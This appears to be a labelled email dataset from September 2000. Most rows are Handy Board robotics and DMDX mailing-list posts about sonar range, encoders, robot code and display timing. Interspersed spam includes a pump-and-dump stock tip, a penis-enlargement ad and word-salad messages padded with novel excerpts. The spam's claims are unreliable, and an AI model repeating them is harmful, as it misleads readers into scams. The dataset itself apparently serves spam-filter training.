3/4"" diameter, my drive wheels are at 2 1/2"" diameter. > Do you print the disk out on a Laser Printer and then glue them > on cardboard and then glue that to the gears? How many more > ticks per revolution can I get? I get 8 ticks right now per 1 > revolution of the drive gear.",0,0 Steve Stevens ,handyboard@media.mit.edu,"Sun, 10 Sep 2000 22:58:40 +0000",Encoders,"Since some are on the subject of encoders, I have a problem I would like to get help on. I have a hall effect sensor dutifully counting pulses on a gear. The gear will rotate from 800-4000 RPM. I am running the signal through a 741 OP Amp to condition and amplify. I get a beautiful square wave output to my analog input on the handy board. The test signal is a 35.3 ms rep rate or 1730 RPM, but the handy board does not keep a good count. I am using fencdr5.icb. Hi and low thresholds are at 220 and 110 respectively. This problem is driving me nuts. Any help? ",0,0 Chuck McManis ,"Steve Stevens , handyboard@media.mit.edu","Sun, 10 Sep 2000 16:32:22 -0700",Re: Encoders,"IC can't sample the A/D converters that quickly. As long as you're generating a nice squarewave you could connect it to one of the input capture pins and write a custom interrupt routine to maintain the count. --Chuck At 10:58 PM 9/10/00 +0000, Steve Stevens wrote: >Since some are on the subject of encoders, I have a problem I would like to >get help on. I have a hall effect sensor dutifully counting pulses on a >gear. The gear will rotate from 800-4000 RPM. I am running the signal >through a 741 OP Amp to condition and amplify. I get a beautiful square wave >output to my analog input on the handy board. The test signal is a 35.3 ms >rep rate or 1730 RPM, but the handy board does not keep a good count. I am >using fencdr5.icb. Hi and low thresholds are at 220 and 110 respectively. >This problem is driving me nuts. Any help? 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Anderson"" ",Jon Price ,"Mon, 11 Sep 2000 00:52:04 -0700",Re: Fwd: Report to be released by FEMA on September 20," Jon, YOu may recall that DEM is holding a briefing on lessons learned from Emmitsburg on Wednesday. If the report is accessible to me on Tuesday, then Wednesday could be an opportunity for me to carefully describe the results to some key people (we have to honor the embargo, of course). Did you have any other ideas on when/how to give accurate numbers to the Governors office and DEM? I have a somewhat different take on the results than you do. Having had the opportunity to look carefully at the tables with average loss and loss ratio, it appears that the loss ratio follows the seismic hazard fairly closely - those places with the highest hazard have the highest loss ratio - with a modifier that those places with more development at risk tend to have increased loss ratio. This would suggest that in the highest rankings, the relative rankings may be more reliable than the actual loss numbers themselves. You suggest that this is an opportunity to make the case for more funding. I agree, but we should be prepared to make the case that with more funding we can actually help to reduce the risk. That is actually not easy. I think we should have a list of specific actions that seem to us to be appropriate. A couple of obvious ones: Las Vegas shows up with a higher average loss than Reno. We've been saying for years that we need a state-funded technician and that if we had that we would be better able to operate a decent network around Las Vegas. We've also argued that an office in Las Vegas would help, and have been consistently ignored in that also. A second obvious issue is a need for a neotectonic geologist to better map and quantify the active faults. In loss ratio, Reno is much higher than Las Vegas, of course, but we should anticipate the potential for some calls from Las Vegas, and thus the need to take a little time to brief some of our safety council members down there. We should have more ideas by Tuesday meeting. John _______________________________ John G. Anderson Nevada Seismological Laboratory University of Nevada Reno, Nevada 89557 Phone: 775-784-4265 FAX: 775-784-1833 email: jga@seismo.unr.edu ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ",0,0 John Hatton ,HB Mailing list ,"Mon, 11 Sep 2000 15:57:42 +0100",IR Reception,"I posted this question previously but got no reply so I am trying again. I have mounted the IS1U60 infrared demodulator on to the HB but I have realised that it can only recieve from a particular direction. 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There it had a wide mouth with stony clifflike gates at either side whose feet were piled with shingles. The Long Lake! Bilbo had never imagined that any water that was not the sea could look so big. It was so wide that the opposite shores looked small and far, but it was so long that its northerly end, ",1,1 sakar@servidor.unam.mx,handyboard@media.mit.edu,"Mon, 11 Sep 2000 16:09:55 -0600",TI-92,"Have anybody link a TI-92 (Texas Instruments Calculator). Because I fail on my first try. And only got a cero value form the TI-92. Any Help? Thanks Daniel R ",0,0 Whiteangel2711@aol.com,XXX@XXXXXXXX.XXXXXXX.XXX,"Mon, 11 Sep 2000 20:41:55 -0400",question," Hi I am a fellow student that needs help doing a calculus math problem dealing with functions. I dont know if u can help me or not but here is the question : Can u think of two functions whose domains exist in the real numbers but whose composition has no domain in the real numbers. Do two such functions exist at all? Is it even possible for a function to have no domain at all? In other words, no x-values work? Remember, two functions have two compositons. Thank you for ur help. Please answer as soon as possible. Thanks again. ",0,0 """T.deClapiers"" ",handyboard@media.mit.edu,"Mon, 11 Sep 2000 20:17:11 -0400",handy board,"Hello, I am in need of some assistance please. I am trying to have a portable omni view digital camera take compressed mjpeg images and send them over a modem connection. To do this I believe I would need a handy board. Another characteristic of it is that I am trying to consume as little power as possible doing this (double AA batteries if possible).Additionally it should only have the computational power of doing just this mjpeg compression of images as it will serve as the sole functionality of this operation. This is a camera that will be posted in public areas(i.e. construction sites) and will be able to run for about a week on low power. Do you have any idea how I can accomplish this/ which board to get. Please get back to me as soon as possible. Thank you very much. -Tim ",0,0 Jerry Normandin ,handyboard@media.mit.edu,"Tue, 12 Sep 2000 01:36:17 +0000",Polaroid 6500 ranging.. only getting 15ft range!,"Hi, How do you get 35ft range out of the handyboard? I get a negetive number when hitting an object over 15ft away! Does anyone else have this problem? Can I adjust it somehow? Thanks! ",0,0 Jerry Normandin ,handyboard@media.mit.edu,"Tue, 12 Sep 2000 03:17:11 +0000","Here's the code I wrote so far, any ideas why my Polaroid 6500 has only 15ft range?","Hi everyone, Here's some code that I have so far. I have no clue why I only get 15' range out of my Polaroid 6500. I did not get the usual fastener that clasps the tranducer into place, could that do it? My tansducer is mounted on ""sensor array"" platform where I can plan and tilt with servos. I was a little disapointed when 16' was out of range, there must me something wrong. I added the .1uF cap at C7 as the directions suggest. Also.. as you can see from the sonarscan routing I ""void"" out a ping that's out of range.. why do I still get a bad value , backup and turn left? Right now my pan & tily mechanism is on some ugly perf board that's mounted on my servos. I'll be thinking up a better way to mount this eventualy. I'm really starting to like Interactive C. running sensor scans as a process, gotta love that. anyway.. here's the code so far. I use my Multi TV remote to run this. Next up is Infra Red Proximity, Man if I new I was limited to 15ft I'd go the Sharp GPD route. If anyone has any clue why I get limited range let me know please! For now, here' s what I've got done so far: int sonarpid ; int irccmd = 0; int oldirccmd ; int rotate = 0; int sonarhit; void main () { init_expbd_servos (1); alloff (); sony_init(1); start_process(getircommand()); while (irccmd != 23) { if (irccmd == 3 && oldirccmd != irccmd) { path1(); } if (irccmd == 4 && oldirccmd != irccmd) { path2(); } if (irccmd == 5 && oldirccmd != irccmd) { path3(); } if (irccmd == 6 && oldirccmd != irccmd) { explore(); } { if (irccmd == 26 && oldirccmd != irccmd) { go_fwd(); } else if (irccmd == 24 && oldirccmd != irccmd) { go_bwd(); } else if (irccmd == 31 && oldirccmd != irccmd){ go_right (); } else if (irccmd == 30 && oldirccmd != irccmd) { go_left (); } else if (irccmd == 63) { stop (); } if (irccmd == 1 && oldirccmd != irccmd) { go_beep (); } } } printf (""End Test \\n""); } void getircommand() { int irc; while(1) { irc = ir_data(0); if(irc) { if(irc >= 128) irc -= 127; irccmd = irc; } else defer(); } } void go_fwd() { oldirccmd = irccmd; encoder2_counts=0; motor (1,25); motor (2,25); } void go_bwd () { oldirccmd = irccmd; encoder2_counts=0; motor (1,-25); motor (2,-25); } void go_right () { oldirccmd = irccmd; encoder2_counts=0; motor (1,25); motor (2,-25); } void go_left () { oldirccmd = irccmd; encoder2_counts=0; motor (2,25); motor (1,-25); } void stop () { oldirccmd = 100000; printf (""stop \\n""); printf (""%d encoder ticks \\n"", encoder2_counts); alloff(); sleep (1.5); } void go_beep () { oldirccmd = irccmd; printf (""beep \\n""); beep(); return; } void path1() { printf (""Follwing PATH1 \\n""); while (irccmd != 63){ alloff(); go_fwd(); while (encoder2_counts < 40){ } go_bwd (); alloff(); sleep (0.5); beep (); go_right(); while (encoder2_counts < 24){ } go_bwd (); alloff(); sleep (0.5); } beep (); beep (); beep (); } void path2() { printf (""Following PATH2 \\n""); while (irccmd != 63){ alloff(); go_fwd(); while (encoder2_counts < 23){} sleep (0.5); go_right(); while (encoder2_counts < 13){} go_bwd (); alloff(); sleep (0.5); } alloff(); beep(); beep (); beep (); } void path3 () { rotate = 0; printf (""Following PATH3 \\n""); while (irccmd != 63){ alloff (); while (rotate != 20) { go_right(); beep (); rotate = rotate +1; while (encoder2_counts < 2){} alloff (); beep (); sleep (2.0); } rotate = 0; while (rotate != 20) { go_left(); beep (); rotate = rotate +1; while (encoder2_counts < 2){} alloff(); beep (); sleep (2.0); } } alloff(); beep (); beep (); beep (); } void explore () { printf (""Exploring! \\n""); sonar_init (); sonarpid = start_process (sonarscan()); while (irccmd != 63){ alloff (); while (sonarhit > 3500){ go_fwd();} alloff(); beep(); encoder2_counts=0; go_bwd(); while (encoder2_counts < 10){} encoder2_counts=0; alloff(); go_right (); while (encoder2_counts < 12) {} alloff(); } alloff(); kill_process (sonarpid); beep (); beep (); beep (); beep (); } void sonarscan () { int ping; while (1) { ping = sonar_closeup(); if (ping != -1) {sonarhit = ping;} else {sonarhit = 99999;} msleep (1000L); } }",0,0 Jerry Normandin ,handyboard@media.mit.edu,"Tue, 12 Sep 2000 03:47:25 +0000",possibly the way the driver is written limiting sonar range?,"Hi, I was playing with my handyboard's sonar.. The distance limitation is in the code, since we are using integers we are limited to -32,778 to 32,768.. and that's why I am at @15 ft limit. After we change the sonar code to longs the problem is solved! ",0,0 Jerry Normandin ,handyboard@media.mit.edu,"Tue, 12 Sep 2000 04:00:11 +0000",Interactive C question can you cast an int to a long?,"Hi, I have an interactive C question, I'd like to return this: return peekword(0x1014) - start_time; as a long.. since this is why there's a distance limit in the sonar.c code. Can I return this as a long? ",0,0 Jerry Normandin ,handyboard@media.mit.edu,"Tue, 12 Sep 2000 04:11:02 +0000",Peekword returns an int... can I typecast in Interactive C?,"Hello, my problem is that peekword returns an int. I need a long. Is there a way around this in Interactive C??? ",0,0 EOI Arrecife <35009723@correo.rcanaria.es>,"""T. Gathright"" , Jerry Normandin , handyboard@media.mit.edu","Tue, 12 Sep 2000 10:49:37 +0100",RE: Here's the Rover with handyboard,"Please let us out of your list. ----------------------------------------------------- Click here for Free Video!! http://www.gohip.com/freevideo/ ----- Original Message ----- From: T. Gathright To: Jerry Normandin ; Sent: Monday, September 04, 2000 1:53 PM Subject: Re: Here's the Rover with handyboard > Hello Jerry, > Did not get the picture of the Mars Rover. > Sounds like you have a good start on your robot, please keep us advised on > the problems and solutions. > Was it hard to convert the mice encoders?? should be very accurate, please > post the hook-up and details. > Keep up the good work!!! > Terry Gathright >",0,1 Lyle Connell ,handyboard@media.mit.edu,"Tue, 12 Sep 2000 05:21:19 -0600",account overdue,"-Sensattional revolution in medicine! -Enlarge your penis up to 10 cm or up to 4 inches! -It's herbal solution what hasn't side effect, but has 100% guaranted results! -Don't lose your chance and but know wihtout doubts, you will be i`mpressed with results! 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If I modify the counter and adjust the timer wouldn't I loose resolution? How much can I get away with? I tried type casting the signed int to a long.... uploaded to the handyboard ok but didn't fix the problem. With software we can probably keep track how many times the counter rolls over, but that would take up CPU time. Does anyone have any ideas? I'd sure like to see the robot plot more elaborate courses. Right now I calculate the furthest path and take it. If I detect an obstacle in my path I stop, back up 10 ticks, look to the left, fire the sonar, look to the right (with servos not steering the robot) fire the sonar, if left > right go left , else right. Simple right now.. but I'd sure like to look at longer distances.. for now if I am over 15ft I say that the sonar left ping is 9999 nad the right is 10000, so I favor the right. I'd much rather see the full 35ft with sonar. PLEASE Someone, any ideas? Did someone modify the counter to run at half the frequency??? was there terrible loss of resolution? If anyone is interested in pictures of the robot let me know. When the code is perfected I'll be building up a slicker looking sensor array housing and the Perf board will be replaced, but heck, right now it's light, and it works! Right now the robot navagating it's way around the house drives my dog crazy! When it looked like a rover without the pan and tilt she didn't pay any attention, now when I flip the sonar sensor from left to right it drives the dog nuts! I thought it was the ultrasonics at first so I just moved the sensor around... she practically attacked it. Also, I was looking at what I have left for addressing a compass on my HP expansion board. MOSI and MISO are available. SCK goes to the sonar, If I write a sonar_disable function, will I be able to use the compass, get a bearing, then re-enable the sonar? I also want to add an SPI based Real Time Clock and calendar from Dallas Semiconductor. Has anyone looked at how much glue logic needs to be added to address one more device on the data bus? I'd like to wire-wrap a Digitalker and get that on the rover. Time to call it a night, I've got to add some more space to a filesystem off a logical volume at 6:30AM... later! ",0,0 fi74l ,handyboard@media.mit.edu,"Wed, 13 Sep 2000 06:54:51 +0800",Emerging growth [NEWS] mightn't influentially adulthood microsecond's,"GAPJ- GOLDEN APPLE OIL/GAS Current Price: $ 0.60 Short Term Price: $ 1.50 3 Month Price: $ 4.50 Before we start with the profile of GAPJ we would like to mention something very important: There is a Big PR Campaign starting on today. And it will go all week so it would be best to get in NOW S T R O N G B U Y R E C O M M E N D A T I O N B U Y N O W Current Press Release Golden Apple Oil and Gas, Inc. and Franklin Ross Securities Complete Private Placement Golden Apple Oil and Gas, Inc. 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Bye Martin ",0,0 bouyssou ,handyboard@media.mit.edu,"Wed, 13 Sep 2000 10:50:00 +0000",Problems with microprocesseurs,"Hello, I work with a Handy Board and an other board based on 68hc11E2. The first is master and the second is slave. The SPI communication is OK between 2 boards. The first send the position of servos to the second. At the start, all is OK. After 2 minutes or 3 minutes , the 68hc11e2 stop to send the rectangular signal to servos and after that, the SPI communication stop. If one person can help me ! The problem can come to the 2 rti on the 68hc11E2 ? The problem can come to the SPI ? The problem can come on interference of power supply ? The problem can come to the stack/pointer ? Bye Thierry ",0,0 Brat Wizard ,HandyBoard Mailing List ,"Wed, 13 Sep 2000 14:36:04 -0400",Re: Rover based on Handyboard is evolving well!,"Jerry Normandin wrote: > > I'd much rather see the full 35ft with sonar. PLEASE Someone, any > ideas? Did someone > modify the counter to run at half the frequency??? was there terrible > loss of resolution? Hello Jerry- Why not build a dual-range system so that when you need the extra accuracy you run the timer at full tilt and when you just want the extended range you cut the timer in half? I suspect that knowing that you're 6.5 inches away from something is a lot more important than knowing that you're 414 inches (34.55 feet) away...... yes? Another thing you could do, if the extended range -and- accuracy are important is to delay starting the counter (or taking your initial reading, or whatever) until ""15 feet"" worth of time has past- and then turn on the counter. You should get the same accuracy your 15 foot system gives you over the _second_ fifteen foot range. You just can't do both at the same time, which isn't really an issue anyway.... >> if anyone is interested in pictures of the robot let me know. I would like to see your pictures. Just send them to the email address above. If you would like to see some of my efforts, look at http://www.wizard.org. I don't have any photos of my latest project (Gadget-II) up yet but you may enjoy my last project (Gadget). Good luck on your project! -- +----------------------------------------------------------------------+ | ""I'll give up my modem when they pry it from my cold, dead fingers!"" | | John Whitten - brat@naxs.com http://www.wizard.org | +----------------------------------------------------------------------+ ",0,1 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Wed, 13 Sep 2000 15:34:15 -0700",[DMDX] Critical Errors," Well, in the completely unexpected find of the day bracket we have this little gem. As I'm under the weather at home with the machine that foils the DMDX retrace sync code almost completely (I say almost as even though it is missing 98% of the retraces, every 30 retraces it stops and syncs back up again and because it knows the retrace interval it can safely predict the 30 retraces, I could make it resync every 300 retraces as long as the retrace interval is within a couple of microseconds, but I digress) and am picking the synchronization code apart to see just how it could possibly be failing I just happened to try a _really_ long timeout value, much monger than is sensible and by gosh, the bugger started finding retraces the majority of the time. The retrace interval on this machine is 11.765ms, normally that would warrant a generous timeout of 12.5ms (could be smaller) but I pumped in 16.5ms. Lordy golligosh, it started finding the retrace. By the completely un-intuitive way of making the machine waste time on trying to find the previous retrace and making it late (or at least much later than it would normally be, but not later than the actual retrace time) the video card appears to yield to my requests and actually tell me when a retrace is occurring. I can't figure it out, or at least, I haven't yet. If anyone else is getting worrying amounts of multiply missed retraces and the concomitant critical errors they may want to try a timeout 40% larger than would seem sensible. I have designed a new extension to the retrace determination code that can be used on later video cards (or at least later drivers anyway) to determine the retrace to within a microsecond with no uncertainty as to validity of the results. I haven't released it yet, after I've spent a bit more time banging on this problem machine and am back at work I probably will. Basically the new test uses a feature of the latest DirectX, version 7, and the latest video drivers that were written with DirectX 7 in mind that allows me to flip the video buffers regardless of the state of the retrace. Then I can fill one buffer with blue and the other with red and if I swap the buffers at twice the retrace interval half the screen will be blue and the other half red (with the exception of a few flickers as TimeDX gets preempted by other processes) if the buffers are swapped at what is indeed twice the retrace interval then the red and blue portions will remain fixed on the screen, they won't travel up or down, if the buffers are swapped at a slightly faster rate than the retrace interval the bands of color will scroll up the screen, if at a slower a rate, down the screen. I've also redesigned the code that determines what the retrace interval is and it is much better than it used to be, although only a slight variation of the most recent scheme. It's so good it makes the new test redundant but I include for safety's sake anyway, some video driver boffin can always change things for the worse again... -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Everything put together, falls apart, sooner or later. ",0,0 BMajik5127@aol.com,handyboard@media.mit.edu,"Wed, 13 Sep 2000 17:04:28 -0400",**cant use 100 step mtr prgrm wth...," Hi, I am trying to use the 100 step motor code and a Hb expansion board. I can get either one of them to work ALONE ONLY. So I can only use the expansion board. OR the 100 step pcode, How do I install both so they dont conflict with one another. Any help with this would be greatly appreciated! Thanks -Mike ",0,0 Jerry Normandin ,handyboard@media.mit.edu,"Wed, 13 Sep 2000 21:38:56 +0000",Re: Rover based on Hanyboard is evolving well!,"Sure.. hey I thought I replied to the list. Here's the picture so far.. note: lugenet doesn't allow jpeg attachments so You will get the image, lugenet will reject them. I am hoping to put up a webpage soon. I've got a few sensors I am designing from scratch, a quad infrared for the sensor array, if it works the sensor array should be able to track the movement of a living object.. like a hand. I may have it track light as well. It's great to have so many ADC ports at my disposal! Also I am working on a Freequency to Voltage converter so the handyboard can ""hear"" music. It will be funny to see the head bopping up and down to a beat to some tunes. I think it can be pulled off with some preprocessing. I'm reading up now on converting frequency to voltage. The voltage will vary with frequency input. It also looks like I can use: Y3 5000 - 5FFF Read Y4 6000-6FFF Write Y5 6000-6FFF Read And DIG8 is available I Wish I had 2 write enebles available.. but I don't I Think it's possible to add some glue logic with the DIG8 Signal and Y4 to squeeze another Write enable port. I'll just have to write some low level code. That would give me access to two devices: I was going to wire wrap a Digitalker Synthesizer and with some additional glue logic I can add memory! Am I dreaming? I looked at the HB Expansion schematic and the HB schematic.. these signal lines look available. Can anyone verify this? Brat Wizard wrote: > > Reply to the list also please, as there are probably others who would > (or will in the future) benefit from the discussion. Glad to hear my > answer might solve your prob. I would still like to see photos of your > project if you're willing to share them. > > John Whitten > brat@naxs.com > > > Jerry Normandin wrote: > >> Thanks for the input. I need long range because I calculate best >> paths in a >> room. >> If you are in a Large room you need to look around and plot a >> course. That's >> why >> I need distance. i am cheating right now. If I am out of range I >> give it a >> bogus large >> number and I favor the right just in case both are out of range. >> >> I am going to try the dual timer approach.. I'll do a temporary long >> distance >> ping >> since cutting the timer in half would slow the handyboard down by >> half.. >> after I get a good read load the original value. GREAT ANSWER! That >> should >> work! >> Brat Wizard wrote: >> >> > Jerry Normandin wrote: >> > >> > > >> > > I'd much rather see the full 35ft with sonar. PLEASE Someone, >> any >> > > ideas? Did someone >> > > modify the counter to run at half the frequency??? was there >> terrible >> > > loss of resolution? >> > >> > Hello Jerry- >> > >> > Why not build a dual-range system so that when you need the extra >> accuracy >> > you run the timer at full tilt and when you just want the extended >> range >> > you cut the timer in half? I suspect that knowing that you're 6.5 >> inches >> > away from something is a lot more important than knowing that >> you're 414 >> > inches (34.55 feet) away...... yes? Another thing you could do, if >> the >> > extended range -and- accuracy are important is to delay starting >> the >> > counter (or taking your initial reading, or whatever) until ""15 >> feet"" worth >> > of time has past- and then turn on the counter. You should get the >> same >> > accuracy your 15 foot system gives you over the _second_ fifteen >> foot >> > range. You just can't do both at the same time, which isn't really >> an issue >> > anyway.... >> > >> > >> if anyone is interested in pictures of the robot let me know. >> > >> > I would like to see your pictures. Just send them to the email >> address >> > above. If you would like to see some of my efforts, look at >> > http://www.wizard.org. I don't have any photos of my latest >> project >> > (Gadget-II) up yet but you may enjoy my last project (Gadget). >> > >> > Good luck on your project! >> > >> > John Whitten >> > brat@naxs.com > > -- > +----------------------------------------------------------------------+ > | ""I'll give up my modem when they pry it from my cold, dead fingers!"" | > | John Whitten - brat@naxs.com http://www.wizard.org | > +----------------------------------------------------------------------+ > > ",0,1 Jerry Normandin ,handyboard@media.mit.edu,"Wed, 13 Sep 2000 22:10:50 +0000","Hall Effect Encoder = sloppy, going optical","Well the Quad hall effect switch encoder does not give repeable resolution. If I say 14 ticks = right turn (motors going in opposite direction) well. sometime it is on the money, sometime it's not. And I don't have a racer.. I have it running slow on purpose.. I am going for repeatability. So... I guess it's off to going the optical route. Which relective sensor have you been using? What do you have the most luck with? I'd like to print out a 1"" diameter disk, are there any samples out on the net? ",0,0 Doug Orleans ,Karl Lieberherr ,"Wed, 13 Sep 2000 18:57:04 -0400",Re: javac versus jikes,"Karl Lieberherr writes: > Hi Doug: > > which compiler should my students use? > You use javac in *.prj > > So our recommended compiler is > > javac Yes, I think that should remain the default, because it's guaranteed to be on every platform that Java is so they need to be familiar with it. Also it's a little easier to use than jikes. > and some students may want to use jikes but > then they have to set the CLASSPATH accordingly. Or they can set JIKESPATH. > Can the class path be set in *.prj for jikes to work? I think so-- CLASSPATH = /arch/unix/packages/j2sdk1_3_0beta/jre/lib/rt.jar should work currently (on Solaris). It might change if systems changes the location of Java 2 though. It's probably better to change it in their environment rather than in a .prj file. > What are the advantages of jikes? Still much faster? I think jikes is still faster (for large programs) but I haven't compared it to the latest javac. Which, by the way, is actually the GJ (generic java) compiler, but the GJ options are hidden-- from http://developer.java.sun.com/developer/bugParade/bugs/4064105.html: Do you use javac from Sun's JDK1.3? Then you are running the generic Java compiler and might not even know it! I was able to confirm rumors that Sun is shipping the gjc as their new SDK standard javac compiler. Unfortunately, they crippled the Main class and removed all non-standard options. I was able to patch the driver class and re-activate the -gj option - it worked just fine. While it is not trivial to do the patch, you can check at least inspect lib/tools.jar and look for the files in com/sun/tools/javac/v8/resources - you will find the extended options therein. Unfortunately, Sun did not publish any official statements about their plans concerning genericity in Java - so they might have put gjc in their product only to make the compiler go faster. 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Well as the textbook rule goes it looke like it takes 333.333 ticks = 1 inch round trip. Since the timer is running 2,000,000 counts per second. But in real life I had to fudge it! Here's the code: Ignore the Infrared remote stuff. My test application is controlled by a remote control, to execute different portions of the code. I am working on one that calibrates the robots turns. Also I put my robot in expore mode by hitting a button, for off sonar, test the wheel encoders, and so on.. well here's the code: void display_sonar () { int result; int feet; int inches; int sonar_time; float infeet; sonar_init(); while (irccmd != 63){ result = sonar_closeup(); if (result != -1 ) { sonar_time = result/285; feet = sonar_time/12; inches =sonar_time-(feet*12); printf(""dist: %d' %d\\""\\n"",feet,inches); } else {printf (""Out of Range!\\n"");} msleep (50L); } beep (); beep (); beep (); alloff (); } I have no clue why I have to enter 285, is it because my ""baffle"" for the sonar is too tight? The clock is the same for Sonar Closeup.. just the BINH pulse is shorter right? Does everyone else fudge it to get an accurate reading? I tested the code up against a tape measurer against a straight wall! Consistant readings up to 10 feet then poof out of range. I was also playing with VR1 to see if I can cut the gain down can I get down to 1"" NOPE.. 3"" is the best I can do. OK.. anyone have some SLAVE SPI code for a compass on the Handiboard sharing sonar???????????????? ",0,0 Jennifer Patz ,DMDX@psy1.psych.arizona.edu,"Thu, 14 Sep 2000 00:17:18 -0700",Re: your AMBtEeN,"Hi P L V C X A V r e A I a m I o v L A n b A z i I L a i G a t U I x e R c ra M S n A http://www.neateater.com another, as they lifted old treasures from the mound or from the wall and held them in the light caressing and fingering them. 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Thanks John Hatton johnhatton@email.com ",0,0 Marta Temple ,DMDX@psy1.psych.arizona.edu,"Thu, 14 Sep 2000 05:26:41 -0300",�λ����� ���� ���鶧 ������ �ǵ帮�ڽ��ϴ�.,"Indeed, chess board for caricature dolphin defined by gypsy.He called her Tod (or was it Tod?).Any ski lodge can brainwash toward sandwich, but it takes a real stalactite to photon over ballerina. ",1,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Thu, 14 Sep 2000 11:21:38 -0700",[DMDX] Critical Errors,"Well, despite being fried from the flu I think I finally have an explanation for the trouble my home development box has been having tracking the retrace (I can actually think for a few hours in the morning). It gets back to the buffering up of commands that the Detonator 3 drivers are doing and is possibly related to the extreme speed of my CPU as well (800MHz Athlon TBird). Basically when TimeDX's Time Video test is running you have two threads active, one keeping track of the retrace and the other madly pumping diagnostic information to the display with no letup. When that information is being blitted to the screen the retrace tracking thread cannot poll for the retrace's status, hence the maximum blit parameter. If the retrace thread never sleeps then the thread that's displaying stuff never gets to do anything, hence the sleep time. So the retrace thread goes to sleep after it's detected a retrace for a period of time that will allow it to wake up with enough milliseconds in hand such that any blit requested by the other thread will have time to complete before the next retrace is due to occur, sleep_time + max_blit_time < retrace_interval. Enter the buffering of commands. Now what happens is that the routine producing video data does a blit and the driver says, sure, fine, gimme another, and because the CPU's fast enough it says, fine, here's another, and maybe another... Finally the retrace thread wakes up blocking the thread producing all these blits and it goes to poll the retraces' status. But you can't poll the retrace with all these buffered up blits in there so the video drivers finish all the blits, so we have sleep_time + N * max_blit_time > retrace_interval. Bummer, it never gets to see the retrace. Reducing the maximum blit size doesn't help, they just get buffered up into one big blit. Actually, the GeForce2 MX is so damned fast that 480 lines can be blitted in a very small number of milliseconds and because the CPU is so damned fast it can generate another whole page of video data and ask for that to be blitted too, as well as a flip in between them. Setting the timeout interval to an outrageously high value (like 17.5ms for a 11.75ms retrace) limits the amount of time that the retrace thread goes to sleep for (because it spent all that extra time madly seeing if the retrace occurred) and thus limits the rate of blits that the other thread produces thus allowing the retrace thread to actually see some retraces. If I limit the sleep time to 4ms I get the same effect. The good news is that as DMDX is running under normal circumstances it's not blitting data to the video display as the display is active (ie. as the data is being presented to a subject), it's usually got all of that done ahead of time because most video cards used these days have enough memory to buffer all frames of a given item up before it's display (certainly every video card likely to have the problems outlined here has). So as it's preparing a display there might be some trouble tracking the retrace but that literally does not matter. The only instance where there might be some trouble would be with digital video displays, but even then I'm doubtful, digital video tends to be at 30Hz so there's a whole frame of idle time, at 11.75Hz almost two idle frames. So the solution to the problem is likely to be a TimeDX only fix, no reason to panic folks. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Everything put together, falls apart, sooner or later.",0,0 Mason Freeman ,"DMDX@psy1.psych.arizona.edu, craig@psy1.psych.arizona.edu, taylor@psy1.psych.arizona.edu, carl@psy1.psych.arizona.edu","Thu, 14 Sep 2000 15:50:52 -0500","Let us eat and drink, for tomorrow we diet",", sse but legislature and betsy and triennial be brasilia ",1,0 """EL Turner, Experimental Psychology"" ",DMDX@psy1.psych.arizona.edu,"Fri, 15 Sep 2000 09:59:25 +0100",[DMDX] Visual illusion?,"Hi, I wonder whether anyone out there can offer any advice. In an experiment we are presenting the same bmp picture twice at the same time, one just to the left and one just to the right of the centre. Anyway we noticed that the images looked different although they are generated from the same bmp. We are sure this is just a visual illusion but so many people reported the effect that we just wanted to check there is no way dmdx could in some way produce slightly different images form the same source? Thanks for any comments Emma ---------------------- EL Turner, Experimental Psychology University of Bristol 8 Woodland Road BRISTOL BS8 1TN Tel:(0117) 928 8574 Fax: 0117 928 8588 Emma.Turner@bristol.ac.uk ",0,0 """JobAA.com"" ",,"Fri, 15 Sep 2000 11:38:13 -0000",Welcome to JobAA,"Thanks for showing interest. The Real Solution for Job Seekers & Employers. Visit www.jobaa.com and get regitered now for FREE. Easy and Fast online Job & Resume Posting at JobAA.com. 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Anyway we noticed that the images looked different >although they are generated from the same bmp. We are sure this >is just a visual illusion but so many people reported the effect >that we just wanted to check there is no way dmdx could in some >way produce slightly different images form the same source? You'd be the first person to notice it. If you suspect there are visual anomalies then change the display presentation rates, slow each frame down to a couple of seconds and scrutinize them, when DMDX generates the images there is no knowledge of display rates. I guess if you were using a 256 color display mode the palette could _concievably_ change between frames, DMDX exerts no control over the palette and GDI could be doing something weird but I'd be really surprised, when frames are presented GDI is completely out of the picture. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Praise the sea; on shore remain. ",0,0 """John P. Kline"" ",DMDX@psy1.psych.arizona.edu,"Fri, 15 Sep 2000 14:14:51 -0400",[DMDX] syncing audio with PIO 12 output,"We've recorded auditory ERPs with Neuroscan triggered by DMDX, and noticed that the N100 is peaking between 30 and 50 Msec... Since this is a virtual physiological impossibility, it seems most likely that our code is causing the audio file to be played before the trigger is delivered to the PIO 12. Can anyone tell me how to present the WAV files so that they are presented exactly simultaneously with the trigger? thanks, JK ___________________________________________________________________________ John P. Kline, Ph.D. Office Phone: 850-644-9363 Assistant Professor Lab Phone: 850-644-2049 Department of Psychology Fax: 850-644-7739 Florida State University Mailto:kline@psy.fsu.edu Tallahassee, FL 32306-1051 http://klinelab.psy.fsu.edu ___________________________________________________________________________ ",0,1 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Fri, 15 Sep 2000 13:53:18 -0700",[DMDX] Re: syncing audio with PIO 12 output,"At 02:14 PM 9/15/00 -0400, you wrote: >We've recorded auditory ERPs with Neuroscan triggered by DMDX, and noticed >that the N100 is peaking between 30 and 50 Msec... Since this is a virtual >physiological impossibility, it seems most likely that our code is causing >the audio file to be played before the trigger is delivered to the PIO 12. >Can anyone tell me how to present the WAV files so that they are presented >exactly simultaneously with the trigger? 0 ""file"" o0 / o255; -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Praise the sea; on shore remain.",0,0 Pamela Perschler ,DMDX ,"Fri, 15 Sep 2000 14:01:27 -0700",[DMDX] Time DX,"I have recently (in the past 2 days) downloaded DMDX and TimeDX. In running the initial tests on TimeDX my system is freezing on the Refresh screen. This sometimes means a reboot of the entire system. Is this a problem with my system (office 97) or with the program. I had no problem with the previous versions. Pamela Sanity is the playgound for the unimaginative. ",0,0 Frangois Payen ,handyboard@media.mit.edu,"Fri, 15 Sep 